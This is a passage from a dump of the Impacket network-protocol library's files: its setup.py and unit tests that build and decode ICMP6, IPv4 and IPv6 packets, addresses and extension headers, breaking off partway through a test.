    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Setup file\n#\nimport glob\nimport os\nimport platform\n\nfrom setuptools import setup\nfrom subprocess import *\n\nPACKAGE_NAME = \"impacket\"\n\nVER_MAJOR = 0\nVER_MINOR = 14\nVER_MAINT = 0\nVER_PREREL = \"dev\"\ntry:\n    if call([\"git\", \"branch\"], stderr=STDOUT, stdout=open(os.devnull, 'w')) == 0:\n        p = Popen(\"git log -1 --format=%cd --date=format:%Y%m%d.%H%M%S\", shell=True, stdin=PIPE, stderr=PIPE, stdout=PIPE)\n        (outstr, __) = p.communicate()\n        (VER_CDATE,VER_CTIME) = outstr.strip().decode(\"utf-8\").split('.')\n\n        p = Popen(\"git rev-parse --short HEAD\", shell=True, stdin=PIPE, stderr=PIPE, stdout=PIPE)\n        (outstr, __) = p.communicate()\n        VER_CHASH = outstr.strip().decode(\"utf-8\")\n\n        VER_LOCAL = \"+{}.{}.{}\".format(VER_CDATE, VER_CTIME, VER_CHASH)\n    else:\n        VER_LOCAL = \"\"\nexcept Exception:\n    VER_LOCAL = \"\"\n\nif platform.system() != 'Darwin':\n    data_files = [(os.path.join('share', 'doc', PACKAGE_NAME), ['README.md', 'LICENSE']+glob.glob('doc/*'))]\nelse:\n    data_files = []\n\n\ndef read(fname):\n    return open(os.path.join(os.path.dirname(__file__), fname)).read()\n\n\nsetup(\n    name=PACKAGE_NAME,\n    #version=\"{}.{}.{}\".format (VER_MAJOR, VER_MINOR, VER_MAINT),\n    version=\"{}.{}.{}.{}{}\".format(VER_MAJOR, VER_MINOR, VER_MAINT,VER_PREREL,VER_LOCAL),\n    description=\"Network protocols Constructors and Dissectors\",\n    url=\"https://www.coresecurity.com\",\n    author=\"SecureAuth Corporation\",\n    maintainer=\"Fortra\",\n    license=\"Apache modified\",\n    long_description=read('README.md'),\n    long_description_content_type=\"text/markdown\",\n    platforms=[\"Unix\", \"Windows\"],\n    packages=['impacket', 'impacket.dcerpc', 'impacket.examples', 'impacket.dcerpc.v5', 'impacket.dcerpc.v5.dcom',\n              'impacket.krb5', 'impacket.ldap', 'impacket.examples.ntlmrelayx', 'impacket.mssql',\n              'impacket.examples.ntlmrelayx.clients', 'impacket.examples.ntlmrelayx.servers',\n              'impacket.examples.ntlmrelayx.servers.socksplugins', 'impacket.examples.ntlmrelayx.utils',\n              'impacket.examples.ntlmrelayx.attacks', 'impacket.examples.ntlmrelayx.attacks.httpattacks'],\n    scripts=glob.glob(os.path.join('examples', '*.py')),\n    data_files=data_files,\n\n    install_requires=['pyasn1>=0.2.3', 'pyasn1_modules', 'pycryptodomex', 'pyOpenSSL', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6',\n                      'ldapdomaindump>=0.9.0', 'flask>=1.0', 'charset_normalizer'],\n    extras_require={':sys_platform==\"win32\"': ['pyreadline3'],\n                    },\n    classifiers=[\n        \"Programming Language :: Python :: 3.13\",\n        \"Programming Language :: Python :: 3.12\",\n        \"Programming Language :: Python :: 3.11\",\n        \"Programming Language :: Python :: 3.10\",\n        \"Programming Language :: Python :: 3.9\"\n\n    ]\n)\n"
  },
  {
    "path": "tests/ImpactPacket/__init__.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n"
  },
  {
    "path": "tests/ImpactPacket/test_ICMP6.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket import IP6, ImpactDecoder, ICMP6\n\n\nclass TestICMP6(unittest.TestCase):\n        \n    def setUp(self):\n        self.packet_list = self.generate_icmp6_constructed_packets()        \n        self.message_description_list = [\n                             \"Echo Request\",\n                             \"Echo Reply\",\n                             \"Parameter problem - Erroneous header field\",\n                             \"Parameter problem - Unrecognized Next Header\",\n                             \"Parameter problem - Unrecognized IP6 Option\",\n                             \"Destination unreachable - No route to destination\",\n                             \"Destination unreachable - Administratively prohibited\",\n                             \"Destination unreachable - Beyond scope of source address\",\n                             \"Destination unreachable - Address unreachable \",\n                             \"Destination unreachable - Port unreachable\",\n                             \"Destination unreachable - Src addr failed due to policy\",\n                             \"Destination unreachable - Reject route\",\n                             \"Time exceeded - Hop limit exceeded in transit\",\n                             \"Time exceeded - Fragment reassembly time exceeded\",\n                             \"Packet too big\"\n                             ]\n        self.reference_data_list = [\n                               [0x80, 0x00, 0xA2, 0xA6, 0x00, 0x01, 0x00, 0x02, 0xFE, 0x56, 0x88],#Echo Request\n                               [0x81, 0x00, 0xA1, 0xA6, 0x00, 0x01, 0x00, 0x02, 0xFE, 0x56, 0x88],#Echo Reply\n                               [0x04, 0x00, 0x1E, 0xA8, 0x00, 0x00, 0x00, 0x02, 0xFE, 0x56, 0x88],#Parameter problem\n                               [0x04, 0x01, 0x1E, 0xA7, 0x00, 0x00, 0x00, 0x02, 0xFE, 0x56, 0x88],\n                               [0x04, 0x02, 0x1E, 0xA6, 0x00, 0x00, 0x00, 0x02, 0xFE, 0x56, 0x88],\n                               [0x01, 0x00, 0x21, 0xAA, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],#Dest. unreachable\n                               [0x01, 0x01, 0x21, 0xA9, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],\n                               [0x01, 0x02, 0x21, 0xA8, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],\n                               [0x01, 0x03, 0x21, 0xA7, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],\n                               [0x01, 0x04, 0x21, 0xA6, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],\n                               [0x01, 0x05, 0x21, 0xA5, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],\n                               [0x01, 0x06, 0x21, 0xA4, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],\n                               [0x03, 0x00, 0x1F, 0xAA, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],#Time exceeded\n                               [0x03, 0x01, 0x1F, 0xA9, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],\n                               [0x02, 0x00, 0x1B, 0x96, 0x00, 0x00, 0x05, 0x14, 0xFE, 0x56, 0x88]#Packet too big\n                               ]\n        \n    def encapsulate_icmp6_packet_in_ip6_packet(self, icmp6_packet):    \n        #Build IP6 reference packet (which will be used to construct the pseudo-header and checksum)\n        ip6_packet = IP6.IP6()\n        ip6_packet.set_traffic_class(0)\n        ip6_packet.set_flow_label(0)\n        ip6_packet.set_hop_limit(1)\n        ip6_packet.set_ip_src(\"FE80::78F8:89D1:30FF:256B\")\n        ip6_packet.set_ip_dst(\"FF02::1\")\n    \n        #Encapsulate ICMP6 packet in IP6 packet, calculate the checksum using the pseudo-header        \n        ip6_packet.contains(icmp6_packet)\n        ip6_packet.set_next_header(ip6_packet.child().get_ip_protocol_number())\n        ip6_packet.set_payload_length(ip6_packet.child().get_size())\n        icmp6_packet.calculate_checksum()\n        return ip6_packet\n        \n    def compare_icmp6_packet_with_reference_buffer(self, icmp6_packet, reference_buffer, test_fail_message):\n        #Encapsulate the packet, in order to compute the checksum\n        ip6_packet = self.encapsulate_icmp6_packet_in_ip6_packet(icmp6_packet)\n        \n        #Extract the header and payload bytes\n        icmp6_header_buffer = ip6_packet.child().get_bytes().tolist()\n        icmp6_payload_buffer = icmp6_packet.child().get_bytes().tolist()\n        generated_buffer = icmp6_header_buffer + icmp6_payload_buffer\n        \n        self.assertEqual(generated_buffer, reference_buffer, test_fail_message)\n        \n    def generate_icmp6_constructed_packets(self):\n        packet_list = []\n        \n        arbitrary_data = [0xFE, 0x56, 0x88]\n        echo_id = 1\n        echo_sequence_number = 2\n        icmp6_packet = ICMP6.ICMP6.Echo_Request(echo_id, echo_sequence_number, arbitrary_data)\n        packet_list.append(icmp6_packet)                \n        icmp6_packet = ICMP6.ICMP6.Echo_Reply(echo_id, echo_sequence_number, arbitrary_data)                \n        packet_list.append(icmp6_packet)        \n\n        originating_packet_data = arbitrary_data        \n        for code in range(0, 3):\n            problem_pointer = 2\n            icmp6_packet = ICMP6.ICMP6.Parameter_Problem(code, problem_pointer, originating_packet_data)                \n            packet_list.append(icmp6_packet)        \n\n        for code in range(0, 7):\n            icmp6_packet = ICMP6.ICMP6.Destination_Unreachable(code, originating_packet_data)                \n            packet_list.append(icmp6_packet)        \n            \n        for code in range(0, 2):\n            icmp6_packet = ICMP6.ICMP6.Time_Exceeded(code, originating_packet_data)                \n            packet_list.append(icmp6_packet)        \n        \n        icmp6_packet = ICMP6.ICMP6.Packet_Too_Big(1300, originating_packet_data)                \n        packet_list.append(icmp6_packet)        \n        return packet_list\n\n\n        \n    def test_message_construction(self):\n        for packet, reference, msg in zip(self.packet_list, self.reference_data_list, self.message_description_list):\n            self.compare_icmp6_packet_with_reference_buffer(packet, reference, \"ICMP6 creation of \" + msg + \" - Buffer mismatch\")\n            \n    def test_message_decoding(self):                    \n        d = ImpactDecoder.ICMP6Decoder()\n        \n        msg_types = [\n                     ICMP6.ICMP6.ECHO_REQUEST,\n                     ICMP6.ICMP6.ECHO_REPLY,\n                     ICMP6.ICMP6.PARAMETER_PROBLEM,\n                     ICMP6.ICMP6.PARAMETER_PROBLEM,\n                     ICMP6.ICMP6.PARAMETER_PROBLEM,\n                     ICMP6.ICMP6.DESTINATION_UNREACHABLE,\n                     ICMP6.ICMP6.DESTINATION_UNREACHABLE,\n                     ICMP6.ICMP6.DESTINATION_UNREACHABLE,\n                     ICMP6.ICMP6.DESTINATION_UNREACHABLE,\n                     ICMP6.ICMP6.DESTINATION_UNREACHABLE,\n                     ICMP6.ICMP6.DESTINATION_UNREACHABLE,\n                     ICMP6.ICMP6.DESTINATION_UNREACHABLE,\n                     ICMP6.ICMP6.TIME_EXCEEDED,\n                     ICMP6.ICMP6.TIME_EXCEEDED,\n                     ICMP6.ICMP6.PACKET_TOO_BIG\n                     ]\n        \n        msg_codes = [\n                    0,\n                    0,                    \n                    ICMP6.ICMP6.ERRONEOUS_HEADER_FIELD_ENCOUNTERED,\n                    ICMP6.ICMP6.UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED,\n                    ICMP6.ICMP6.UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED,\n                    ICMP6.ICMP6.NO_ROUTE_TO_DESTINATION,\n                    ICMP6.ICMP6.ADMINISTRATIVELY_PROHIBITED,\n                    ICMP6.ICMP6.BEYOND_SCOPE_OF_SOURCE_ADDRESS,\n                    ICMP6.ICMP6.ADDRESS_UNREACHABLE,\n                    ICMP6.ICMP6.PORT_UNREACHABLE,\n                    ICMP6.ICMP6.SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY,\n                    ICMP6.ICMP6.REJECT_ROUTE_TO_DESTINATION,    \n                    ICMP6.ICMP6.HOP_LIMIT_EXCEEDED_IN_TRANSIT,\n                    ICMP6.ICMP6.FRAGMENT_REASSEMBLY_TIME_EXCEEDED,\n                    0\n                    ]\n        \n        for i in range (0, len(self.reference_data_list)):\n            p = d.decode(self.reference_data_list[i])\n            self.assertEqual(p.get_type(), msg_types[i], self.message_description_list[i] + \" - Msg type mismatch\")\n            self.assertEqual(p.get_code(), msg_codes[i], self.message_description_list[i] + \" - Msg code mismatch\")\n            \n            if i in range(0, 2):\n                self.assertEqual(p.get_echo_id(), 1, self.message_description_list[i] + \" - ID mismatch\")\n                self.assertEqual(p.get_echo_sequence_number(), 2, self.message_description_list[i] + \" - Sequence number mismatch\")\n                self.assertEqual(p.get_echo_arbitrary_data().tolist(), [0xFE, 0x56, 0x88], self.message_description_list[i] + \" - Arbitrary data mismatch\")\n            if i in range(2, 5):\n                self.assertEqual(p.get_parm_problem_pointer(), 2, self.message_description_list[i] + \" - Pointer mismatch\")\n            if i in range(5, 15):\n                self.assertEqual(p.get_originating_packet_data().tolist(), [0xFE, 0x56, 0x88], self.message_description_list[i] + \" - Originating packet data mismatch\")\n            if i in range(14, 15):\n                self.assertEqual(p.get_mtu(), 1300, self.message_description_list[i] + \" - MTU mismatch\")\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/ImpactPacket/test_IP.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies\n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\n\nfrom impacket.ImpactPacket import IP\n\n\nclass TestIP(unittest.TestCase):\n\n    def test_fragment_by_size_without_payload(self):\n        ip = IP()\n        fragments = ip.fragment_by_size(8)\n        self.assertEqual(fragments, [ip])\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/ImpactPacket/test_IP6.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket import IP6, ImpactDecoder\n\n\nclass TestIP6(unittest.TestCase):\n        \n    def setUp(self):\n        #Version 6, traffic class 72, flow label 148997, payload length 1500\n        #next header 17 (UDP), hop limit 1\n        #source addr FE80::78F8:89D1:30FF:256B\n        #dest addr FF02::1:3\n        self.binary_packet = [ \n                   0x64, 0x82, 0x46, 0x05, \n                   0x05, 0xdc, 0x11, 0x01, \n                   0xfe, 0x80, 0x00, 0x00, \n                   0x00, 0x00, 0x00, 0x00, \n                   0x78, 0xf8, 0x89, 0xd1,\n                   0x30, 0xff, 0x25, 0x6b, \n                   0xff, 0x02, 0x00, 0x00, \n                   0x00, 0x00, 0x00, 0x00, \n                   0x00, 0x00, 0x00, 0x00, \n                   0x00, 0x01, 0x00, 0x03]\n        \n    def test_decoding(self):\n        '''Test IP6 Packet decoding.'''\n        \n\n        d = ImpactDecoder.IP6Decoder()        \n        parsed_packet = d.decode(self.binary_packet)\n        \n        protocol_version = parsed_packet.get_ip_v()\n        traffic_class = parsed_packet.get_traffic_class()\n        flow_label = parsed_packet.get_flow_label()\n        payload_length = parsed_packet.get_payload_length()\n        next_header = parsed_packet.get_next_header()\n        hop_limit = parsed_packet.get_hop_limit()\n        source_address = parsed_packet.get_ip_src()\n        destination_address = parsed_packet.get_ip_dst()\n        \n        self.assertEqual(protocol_version, 6, \"IP6 parsing - Incorrect protocol version\")\n        self.assertEqual(traffic_class, 72, \"IP6 parsing - Incorrect traffic class\")\n        self.assertEqual(flow_label, 148997, \"IP6 parsing - Incorrect flow label\")\n        self.assertEqual(payload_length, 1500, \"IP6 parsing - Incorrect payload length\")\n        self.assertEqual(next_header, 17, \"IP6 parsing - Incorrect next header\")\n        self.assertEqual(hop_limit, 1, \"IP6 parsing - Incorrect hop limit\")\n        self.assertEqual(source_address.as_string(), \"FE80::78F8:89D1:30FF:256B\", \"IP6 parsing - Incorrect source address\")\n        self.assertEqual(destination_address.as_string(), \"FF02::1:3\", \"IP6 parsing - Incorrect destination address\")\n        \n    def test_creation(self):\n        '''Test IP6 Packet creation.'''\n        \n        crafted_packet = IP6.IP6()\n        crafted_packet.set_traffic_class(72)\n        crafted_packet.set_flow_label(148997)\n        crafted_packet.set_payload_length(1500)\n        crafted_packet.set_next_header(17)\n        crafted_packet.set_hop_limit(1)\n        crafted_packet.set_ip_src(\"FE80::78F8:89D1:30FF:256B\")\n        crafted_packet.set_ip_dst(\"FF02::1:3\")\n        crafted_buffer = crafted_packet.get_bytes().tolist()\n        self.assertEqual(crafted_buffer, self.binary_packet, \"IP6 creation - Buffer mismatch\")\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/ImpactPacket/test_IP6_Address.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket import IP6_Address\n\n\nclass TestIP6_Address(unittest.TestCase):\n\n    def runTest(self):\n        pass\n\n    def test_construction(self):\n        \"\"\"Test IP6 Address construction\"\"\"\n        normal_text_address = \"FE80:1234:5678:ABCD:EF01:2345:6789:ABCD\"\n        normal_binary_address = [0xFE, 0x80, 0x12, 0x34,\n                                 0x56, 0x78, 0xAB, 0xCD,\n                                 0xEF, 0x01, 0x23, 0x45,\n                                 0x67, 0x89, 0xAB, 0xCD]\n\n        oversized_text_address = \"FE80:1234:5678:ABCD:EF01:2345:6789:ABCD:1234\"\n        oversized_binary_address = [0xFE, 0x80, 0x12, 0x34,\n                                    0x56, 0x78, 0xAB, 0xCD,\n                                    0xEF, 0x01, 0x23, 0x45,\n                                    0x67, 0x89, 0xAB, 0xCD, 0x00]\n\n        subsized_text_address = \"FE80:1234:5678:ABCD:EF01:2345:6789\"\n        subsized_binary_address = [0xFE, 0x80, 0x12, 0x34,\n                                   0x56, 0x78, 0xAB, 0xCD,\n                                   0xEF, 0x01, 0x23, 0x45,\n                                   0x67, 0x89, 0xAB]\n\n        malformed_text_address_1 = \"FE80:123456788:ABCD:EF01:2345:6789:ABCD\"\n        malformed_text_address_2 = \"ZXYW:1234:5678:ABCD:EF01:2345:6789:ABCD\"\n        malformed_text_address_3 = \"FFFFFF:1234:5678:ABCD:EF01:2345:67:ABCD\"\n        empty_text_address = \"\"\n        empty_binary_address = []\n\n        self.assertTrue(IP6_Address.IP6_Address(normal_text_address),\n                        \"IP6 address construction with normal text address failed\")\n        self.assertTrue(IP6_Address.IP6_Address(normal_binary_address),\n                        \"IP6 address construction with normal binary address failed\")\n\n        self.assertRaises(Exception, IP6_Address.IP6_Address,\n                          oversized_text_address)  # , \"IP6 address construction with oversized text address incorrectly succeeded\")\n        self.assertRaises(Exception, IP6_Address.IP6_Address,\n                          oversized_binary_address)  # , \"IP6 address construction with oversized binary address incorrectly succeeded\")\n        self.assertRaises(Exception, IP6_Address.IP6_Address,\n                          subsized_text_address)  # , \"IP6 address construction with subsized text address incorrectly succeeded\")\n        self.assertRaises(Exception, IP6_Address.IP6_Address,\n                          subsized_binary_address)  # , \"IP6 address construction with subsized binary address incorrectly succeeded\")\n        self.assertRaises(Exception, IP6_Address.IP6_Address,\n                          malformed_text_address_1)  # , \"IP6 address construction with malformed text address (#1) incorrectly succeeded\")\n        self.assertRaises(Exception, IP6_Address.IP6_Address,\n                          malformed_text_address_2)  # , \"IP6 address construction with malformed text address (#2) incorrectly succeeded\")\n        self.assertRaises(Exception, IP6_Address.IP6_Address,\n                          malformed_text_address_3)  # , \"IP6 address construction with malformed text address (#3) incorrectly succeeded\")\n        self.assertRaises(Exception, IP6_Address.IP6_Address,\n                          empty_text_address)  # , \"IP6 address construction with empty text address incorrectly succeeded\")\n        self.assertRaises(Exception, IP6_Address.IP6_Address,\n                          empty_binary_address)  # , \"IP6 address construction with empty binary address incorrectly succeeded\")\n\n    def test_unicode_representation(self):\n        \"\"\"Test IP6 Unicode text representations\"\"\"\n        unicode_normal_text_address = u'FE80:1234:5678:ABCD:EF01:2345:6789:ABCD'\n\n        self.assertTrue(IP6_Address.IP6_Address(unicode_normal_text_address),\n                        \"IP6 address construction with UNICODE normal text address failed\")\n\n    def test_conversions(self):\n        \"\"\"Test IP6 Address conversions.\"\"\"\n        text_address = \"FE80:1234:5678:ABCD:EF01:2345:6789:ABCD\"\n        binary_address = [0xFE, 0x80, 0x12, 0x34,\n                          0x56, 0x78, 0xAB, 0xCD,\n                          0xEF, 0x01, 0x23, 0x45,\n                          0x67, 0x89, 0xAB, 0xCD]\n        self.assertEqual(IP6_Address.IP6_Address(text_address).as_string(), text_address,\n                         \"IP6 address conversion text -> text failed\")\n        self.assertEqual(IP6_Address.IP6_Address(binary_address).as_bytes(), binary_address,\n                         \"IP6 address conversion binary -> binary failed\")\n        self.assertEqual(IP6_Address.IP6_Address(binary_address).as_string(), text_address,\n                         \"IP6 address conversion binary -> text failed\")\n        self.assertEqual(IP6_Address.IP6_Address(text_address).as_bytes().tolist(), binary_address,\n                         \"IP6 address conversion text -> binary failed\")\n\n    def test_compressions(self):\n        \"\"\"Test IP6 Address compressions.\"\"\"\n        compressed_addresses = [\"::\",\n                                \"1::\",\n                                \"::1\",\n                                \"1::2\",\n                                \"1::1:2:3\",\n                                \"FE80:234:567:4::1\"\n                                ]\n        full_addresses = [\"0000:0000:0000:0000:0000:0000:0000:0000\",\n                          \"0001:0000:0000:0000:0000:0000:0000:0000\",\n                          \"0000:0000:0000:0000:0000:0000:0000:0001\",\n                          \"0001:0000:0000:0000:0000:0000:0000:0002\",\n                          \"0001:0000:0000:0000:0000:0001:0002:0003\",\n                          \"FE80:0234:0567:0004:0000:0000:0000:0001\"\n                          ]\n\n        for f, c in zip(full_addresses, compressed_addresses):\n            self.assertEqual(IP6_Address.IP6_Address(f).as_string(), c,\n                             \"IP6 address compression failed with full address: \" + f)\n            self.assertEqual(IP6_Address.IP6_Address(c).as_string(False), f,\n                             \"IP6 address compression failed with compressed address:\" + c)\n\n    def test_scoped_addresses(self):\n        \"\"\"Test scoped addresses.\"\"\"\n        numeric_scoped_address = \"FE80::1234:1%12\"\n        self.assertEqual(IP6_Address.IP6_Address(numeric_scoped_address).as_string(), numeric_scoped_address,\n                         \"Numeric scoped address conversion failed on address: \" + numeric_scoped_address)\n        self.assertEqual(IP6_Address.IP6_Address(numeric_scoped_address).get_scope_id(), \"12\",\n                         \"Numeric scope ID fetch failed on address: \" + numeric_scoped_address)\n        self.assertEqual(IP6_Address.IP6_Address(numeric_scoped_address).get_unscoped_address(), \"FE80::1234:1\",\n                         \"Get unscoped address failed on address: \" + numeric_scoped_address)\n\n        unscoped_address = \"1::4:1\"\n        self.assertEqual(IP6_Address.IP6_Address(unscoped_address).as_string(), unscoped_address,\n                         \"Unscoped address conversion failed on address: \" + unscoped_address)\n        self.assertEqual(IP6_Address.IP6_Address(unscoped_address).get_scope_id(), \"\",\n                         \"Unscoped address scope ID fetch failed on address: \" + unscoped_address)\n        self.assertEqual(IP6_Address.IP6_Address(unscoped_address).get_unscoped_address(), unscoped_address,\n                         \"Get unscoped address failed on address: \" + unscoped_address)\n\n        text_scoped_address = \"FE80::1234:1%BLAH\"\n        self.assertEqual(IP6_Address.IP6_Address(text_scoped_address).as_string(), text_scoped_address,\n                         \"Text scoped address conversion failed on address: \" + text_scoped_address)\n        self.assertEqual(IP6_Address.IP6_Address(text_scoped_address).get_scope_id(), \"BLAH\",\n                         \"Text scope ID fetch failed on address: \" + text_scoped_address)\n        self.assertEqual(IP6_Address.IP6_Address(text_scoped_address).get_unscoped_address(), \"FE80::1234:1\",\n                         \"Get unscoped address failed on address: \" + text_scoped_address)\n\n        empty_scoped_address = \"FE80::1234:1%\"\n        self.assertRaises(Exception, IP6_Address.IP6_Address, empty_scoped_address)\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/ImpactPacket/test_IP6_Extension_Headers.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nfrom __future__ import division\nfrom __future__ import print_function\nimport unittest\nfrom six import PY2\n\nfrom impacket import IP6, ImpactDecoder, IP6_Extension_Headers\n\n\nclass TestIP6(unittest.TestCase):\n    def string_to_list(self, bytes):\n        if PY2:\n            return list(map(ord, list(bytes)))\n        else:\n            return list(bytes)\n\n    def test_create_simple_hop_by_hop(self):\n        hop_by_hop_binary_packet = [0x3a, 0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00]\n\n        hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()\n        hop_by_hop.set_next_header(58)\n\n        self.assertEqual(\n            self.string_to_list(hop_by_hop.get_packet()), hop_by_hop_binary_packet, \n            \"Simple Hop By Hop Header creation - Buffer mismatch\")\n        \n        self.assertEqual(\n            hop_by_hop.get_size(), len(hop_by_hop_binary_packet),\n            \"Simple Hop By Hop Header creation - Size mismatch\")\n    \n    def test_simple_hop_by_hop_contained_in_ipv6(self):\n        ipv6_binary_packet = [ \n               0x64, 0x82, 0x46, 0x05, \n               0x05, 0xdc, 0x00, 0x01, \n               0xfe, 0x80, 0x00, 0x00, \n               0x00, 0x00, 0x00, 0x00, \n               0x78, 0xf8, 0x89, 0xd1,\n               0x30, 0xff, 0x25, 0x6b, \n               0xff, 0x02, 0x00, 0x00, \n               0x00, 0x00, 0x00, 0x00, \n               0x00, 0x00, 0x00, 0x00, \n               0x00, 0x01, 0x00, 0x03]\n        \n        hop_by_hop_binary_packet = [\n               0x3a, 0x00, 0x01, 0x04,\n               0x00, 0x00, 0x00, 0x00]\n\n        binary_packet = ipv6_binary_packet + hop_by_hop_binary_packet\n        \n        ip6_packet = IP6.IP6()\n        ip6_packet.set_traffic_class(72)\n        ip6_packet.set_flow_label(148997)\n        ip6_packet.set_payload_length(1500)\n        ip6_packet.set_next_header(17)\n        ip6_packet.set_hop_limit(1)\n        ip6_packet.set_ip_src(\"FE80::78F8:89D1:30FF:256B\")\n        ip6_packet.set_ip_dst(\"FF02::1:3\")\n        \n        hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()\n        hop_by_hop.set_next_header(58)\n\n        ip6_packet.contains(hop_by_hop)\n\n        self.assertEqual(\n            self.string_to_list(ip6_packet.get_packet()), binary_packet, \n            \"IP6 Hop By Hop Header contained in IPv6 Header - Buffer mismatch\")\n\n        self.assertEqual(\n            ip6_packet.get_size(), len(binary_packet),\n            \"IP6 Hop By Hop Header contained in IPv6 Header - Size mismatch\")\n\n    def test_add_option_to_hop_by_hop(self):\n        hop_by_hop_binary_packet = [\n            0x3a, 0x01, 0x01, 0x0C,\n            0x00, 0x00, 0x00, 0x00,\n            0x00, 0x00, 0x00, 0x00,\n            0x00, 0x00, 0x00, 0x00]\n\n        hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()\n        hop_by_hop.set_next_header(58)\n        hop_by_hop.add_option(IP6_Extension_Headers.Option_PADN(14))\n\n        self.assertEqual(\n            self.string_to_list(hop_by_hop.get_packet()), hop_by_hop_binary_packet, \n            \"Add Option to Hop By Hop Header - Buffer mismatch\")\n\n        self.assertEqual(\n            hop_by_hop.get_size(), len(hop_by_hop_binary_packet),\n            \"Add Option to Hop By Hop Header - Size mismatch\")\n\n    def test_pad_hop_by_hop_when_adding_option(self):\n        hop_by_hop_binary_packet = [\n            0x3a, 0x00, 0x00, 0x01,\n            0x03, 0x00, 0x00, 0x00]\n\n        hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()\n        hop_by_hop.set_next_header(58)\n        hop_by_hop.add_option(IP6_Extension_Headers.Option_PAD1())\n\n        self.assertEqual(\n            self.string_to_list(hop_by_hop.get_packet()), hop_by_hop_binary_packet, \n            \"Pad Hop By Hop Header when adding option - Buffer mismatch\")\n\n        self.assertEqual(\n            hop_by_hop.get_size(), len(hop_by_hop_binary_packet),\n            \"Pad Hop By Hop Header when adding option - Size mismatch\")\n\n    def test_create_simple_dest_opts(self):\n        dest_opts_binary_packet = [0x3a, 0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00]\n\n        dest_opts = IP6_Extension_Headers.Destination_Options()\n        dest_opts.set_next_header(58)\n        \n        self.assertEqual(\n            self.string_to_list(dest_opts.get_packet()), dest_opts_binary_packet, \n            \"Simple Destination Options Header creation - Buffer mismatch\")\n\n        self.assertEqual(\n            dest_opts.get_size(), len(dest_opts_binary_packet),\n            \"Simple Destination Options Header creation - Size mismatch\")\n\n    def test_simple_dest_opts_contained_in_ipv6(self):\n        ipv6_binary_packet = [ \n               0x64, 0x82, 0x46, 0x05, \n               0x05, 0xdc, 0x3c, 0x01, \n               0xfe, 0x80, 0x00, 0x00, \n               0x00, 0x00, 0x00, 0x00, \n               0x78, 0xf8, 0x89, 0xd1,\n               0x30, 0xff, 0x25, 0x6b, \n               0xff, 0x02, 0x00, 0x00, \n               0x00, 0x00, 0x00, 0x00, \n               0x00, 0x00, 0x00, 0x00, \n               0x00, 0x01, 0x00, 0x03]\n        \n        dest_opts_binary_packet = [\n               0x3a, 0x00, 0x01, 0x04,\n               0x00, 0x00, 0x00, 0x00]\n\n        binary_packet = ipv6_binary_packet + dest_opts_binary_packet\n        \n        ip6_packet = IP6.IP6()\n        ip6_packet.set_traffic_class(72)\n        ip6_packet.set_flow_label(148997)\n        ip6_packet.set_payload_length(1500)\n        ip6_packet.set_next_header(17)\n        ip6_packet.set_hop_limit(1)\n        ip6_packet.set_ip_src(\"FE80::78F8:89D1:30FF:256B\")\n        ip6_packet.set_ip_dst(\"FF02::1:3\")\n        \n        dest_opts = IP6_Extension_Headers.Destination_Options()\n        dest_opts.set_next_header(58)\n\n        ip6_packet.contains(dest_opts)\n\n        self.assertEqual(\n            